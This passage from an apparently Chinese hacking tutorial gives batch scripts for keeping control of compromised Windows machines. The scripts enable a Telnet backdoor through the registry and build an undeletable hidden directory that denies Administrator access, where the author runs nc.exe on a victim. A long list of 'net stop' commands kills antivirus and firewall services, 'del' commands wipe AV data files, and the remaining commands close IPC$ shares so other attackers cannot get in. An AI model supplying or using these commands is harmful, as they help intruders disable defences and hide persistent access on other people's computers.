  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> configs.reg
  echo “NTLM”=dword:00000002 >> configs.reg
  echo “TelnetPort”=dword:00000017 >> configs.reg
  regedit.exe /s configs.reg
  del configs.reg
  还记得有篇文章说是利用“/”作目录名的文章吗?可惜的是作者没有详细介绍如何利用。看看下面的bat(如图3.bmp):
  md \Help\
  md \Help\aux\ \
  md \Help\aux\.tmp\
  cacls \Help\* /T /E /P Administrator:N //设定访问权限,让管理员无法访问!够狠!
  attrib +S +H \Help\aux\.tmp\ /S /D //设定让该目录下的所有文件和文件夹都隐藏!
  怎么样,运行这段bat后,你是不可能在windows桌面下进入aux目录的,当然了,那么同时你也必须在命令行下,键入cd \Help\aux\.tmp\才能进入目录拉!这时,你可以大大方方的放个命令行的scan进去,管理员即使看到进程了,也是无法杀的,不信?那你就自己试试啊!哈哈,不要怪我没有提醒你,即使用rd help /s也是没有办法删除这个目录的!那个nc.exe就是我在肉鸡上这个特别的目录里运行的,看到了吧,没有办法杀掉的。
  平常hack的时候,是不是遇到要杀掉防火墙或者杀毒软件的时候,可是这类软件实在太多了,进城和服务名都记不过来,这里我在网上找了一篇关于杀毒和防火墙的进程名的文章,如果大家觉得不够的话,还可以自己添加:net stop _Avp32.exe /y
net stop _Avpcc.exe /y
net stop _Avpm.exe /y
net stop Ackwin32.exe /y
net stop Agnitum Outpost Firewall /y
net stop Anti-Trojan.exe /y
net stop ANTIVIR /y
net stop Apvxdwin.exe /y
net stop ATRACK /y
net stop Autodown.exe /y
net stop AVCONSOL /y
net stop Avconsol.exe /y
net stop Ave32.exe /y
net stop Avgctrl.exe /y
net stop Avkserv.exe /y
net stop Avnt.exe /y
net stop Avp.exe /y
net stop AVP.EXE /y
net stop AVP32 /y
net stop Avp32.exe /y
net stop Avpcc.exe /y
net stop Avpdos32.exe /y
net stop Avpm.exe /y
net stop Avptc32.exe /y
net stop Avpupd.exe /y
net stop Avsched32.exe /y
net stop AVSync Manager /y
net stop AVSYNMGR /y
net stop Avwin95.exe /y
net stop Avwupd32.exe /y
net stop Blackd.exe /y
net stop BLACKICE /y
net stop BlackICE Defender /y
net stop Blackice.exe /y
net stop CA Sessionwall-3 /y
net stop Cfiadmin.exe /y
net stop Cfiaudit.exe /y
net stop CFINET /y
net stop Cfinet.exe /y
net stop CFINET32 /y
net stop Cfinet32.exe /y
net stop Claw95.exe /y
net stop Claw95cf.exe /y
net stop Cleaner.exe /y
net stop Cleaner3.exe /y
net stop ConSeal PC Firewall & Private Desktop /y
net stop Defwatch /y
net stop Defwatch.exe /y
net stop Dvp95.exe /y
net stop Dvp95_0.exe /y
net stop Ecengine.exe /y
net stop eSafe Protect Desktop /y
net stop Esafe.exe /y
net stop Espwatch.exe /y
net stop eTrust EZ Firewall /y
net stop F-Agnt95.exe /y
net stop Findviru.exe /y
net stop Fprot.exe /y
net stop F-Prot.exe /y
net stop F-PROT95 /y
net stop F-Prot95.exe /y
net stop FP-WIN /y
net stop Fp-Win.exe /y
net stop Freedom 2 /y
net stop Frw.exe /y
net stop F-STOPW /y
net stop F-Stopw.exe /y
net stop GNAT Box Lite /y
net stop IAMAPP /y
net stop Iamapp.exe /y
net stop Iamserv.exe /y
net stop Ibmasn.exe /y
net stop Ibmavsp.exe /y
net stop Icload95.exe /y
net stop Icloadnt.exe /y
net stop ICMON /y
net stop Icmon.exe /y
net stop Icsupp95.exe /y
net stop Icsuppnt.exe /y
net stop Iface.exe /y
net stop Internet Alert 99 /y
net stop IOMON98 /y
net stop Iomon98.exe /y
net stop Jedi.exe /y
net stop LOCKDOWN2000 /y
net stop Lockdown2000.exe /y
net stop Look’n'Stop /y
net stop Look’n'Stop Lite /y
net stop Lookout.exe /y
net stop LUALL /y
net stop Luall.exe /y
net stop LUCOMSERVER /y
net stop MCAFEE /y
net stop McAfee Firewall /y
net stop McAfee Internet Guard Dog Pro /y
net stop Moolive.exe /y
net stop Mpftray.exe /y
net stop N32scanw.exe /y
net stop NAVAPSVC /y
net stop NAVAPW32 /y
net stop Navapw32.exe /y
net stop NAVLU32 /y
net stop Navlu32.exe /y
net stop Navnt.exe /y
net stop NAVRUNR /y
net stop NAVW32 /y
net stop Navw32.exe /y
net stop NAVWNT /y
net stop Navwnt.exe /y
net stop NeoWatch /y
net stop NISSERV /y
net stop NISUM /y
net stop Nisum.exe /y
net stop NMAIN /y
net stop Nmain.exe /y
net stop Norman Personal Firewall /y
net stop Normist.exe /y
net stop NORTON /y
net stop Norton AntiVirus Server /y
net stop Norton Internet Security /y
net stop Norton Personal Firewall 2001 /y
net stop Nupgrade.exe /y
net stop NVC95 /y
net stop Nvc95.exe /y
net stop Outpost.exe /y
net stop Padmin.exe /y
net stop Pavcl.exe /y
net stop Pavsched.exe /y
net stop Pavw.exe /y
net stop Pc firewall /y
net stop PC Viper /y
net stop PCCIOMON /y
net stop PCCMAIN /y
net stop PCCWIN98 /y
net stop Pccwin98.exe /y
net stop Pcfwallicon.exe /y
net stop Persfw.exe /y
net stop PGP Gauntlet /y
net stop POP3TRAP /y
net stop Proxy + /y
net stop PVIEW95 /y
net stop Rav7.exe /y
net stop Rav7win.exe /y
net stop Rescue.exe /y
net stop RESCUE32 /y
net stop SAFEWEB /y
net stop Safeweb.exe /y
net stop Scan32.exe /y
net stop Scan95.exe /y
net stop Scanpm.exe /y
net stop Scrscan.exe /y
net stop Serv95.exe /y
net stop Smc.exe /y
net stop SMCSERVICE /y
net stop Snort – Win32 GUI /y
net stop Snort (Intrusion Detection System) /y
net stop Sphinx.exe /y
net stop Sphinxwall /y
net stop Sweep95.exe /y
net stop Sybergen Secure Desktop /y
net stop Sybergen SyGate /y
net stop SYMPROXYSVC /y
net stop Tbscan.exe /y
net stop Tca.exe /y
net stop Tds2-98.exe /y
net stop Tds2-Nt.exe /y
net stop TermiNET /y
net stop TGB:BOB /y
net stop Tiny Personal Firewall /y
net stop Vet95.exe /y
net stop Vettray.exe /y
net stop Vscan40.exe /y
net stop Vsecomr.exe /y
net stop VSHWIN32 /y
net stop Vshwin32.exe /y
net stop VSSTAT /y
net stop Vsstat.exe /y
net stop WEBSCANX /y
net stop Webscanx.exe /y
net stop WEBTRAP /y
net stop Wfindv32.exe /y
net stop Wingate /y
net stop WinProxy /y
net stop WinRoute /y
net stop WyvernWorks Firewall /y
net stop Zonealarm /y
net stop Zonealarm.exe /y
net stop AVP32 /y
net stop LOCKDOWN2000 /y
net stop AVP.EXE /y
net stop CFINET32 /y
net stop CFINET /y
net stop ICMON /y
net stop SAFEWEB /y
net stop WEBSCANX /y
net stop ANTIVIR /y
net stop MCAFEE /y
net stop NORTON /y
net stop NVC95 /y
net stop FP-WIN /y
net stop IOMON98 /y
net stop PCCWIN98 /y
net stop F-PROT95 /y
net stop F-STOPW /y
net stop PVIEW95 /y
net stop NAVWNT /y
net stop NAVRUNR /y
net stop NAVLU32 /y
net stop NAVAPSVC /y
net stop NISUM /y
net stop SYMPROXYSVC /y
net stop RESCUE32 /y
net stop NISSERV /y
net stop ATRACK /y
net stop IAMAPP /y
net stop LUCOMSERVER /y
net stop LUALL /y
net stop NMAIN /y
net stop NAVW32 /y
net stop NAVAPW32 /y
net stop VSSTAT /y
net stop VSHWIN32 /y
net stop AVSYNMGR /y
net stop AVCONSOL /y
net stop WEBTRAP /y
net stop POP3TRAP /y
net stop PCCMAIN /y
net stop PCCIOMON /y
del c:\*ANTI-VIR*.DAT /s
del c:\*CHKLIST*.DAT /s
del c:\*CHKLIST*.MS /s
del c:\*CHKLIST*.CPS /s
del c:\*CHKLIST*.TAV /s
del c:\*IVB*.NTZ /s
del c:\*SMARTCHK*.MS /s
del c:\*SMARTCHK*.CPS /s
del c:\*AVGQT*.DAT /s

  杀完防火墙是不是就应该准备保护肉鸡了,看看这个清除ipc$的bat:
  echo Windows Registry Editor Version 5.00 >> ipc.reg
  echo.
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >> ipc.reg
  echo “AutoShareServer”=dword:00000000 >> ipc.reg
  echo “AutoShareWks”=dword:00000000 >> ipc.reg
  regedit /s ipc.reg
  del ipc.reg
  echo ok, the admin and IPC share wont be re-created!
  当然了,你觉得仅仅删除ipc还不够的话,在加上这几句,肉鸡就更加安全了:
  net stop “Remote Registry Service”
  net stop “Computer Browser”
  net stop “server”
  net stop “Remote Access Connection Manager”
  net stop “REMOTE PROCEDURE CALL”
  net stop “REMOTE PROCEDURE CALL SERVICE”
  net stop “messenger”
  net stop “netbios”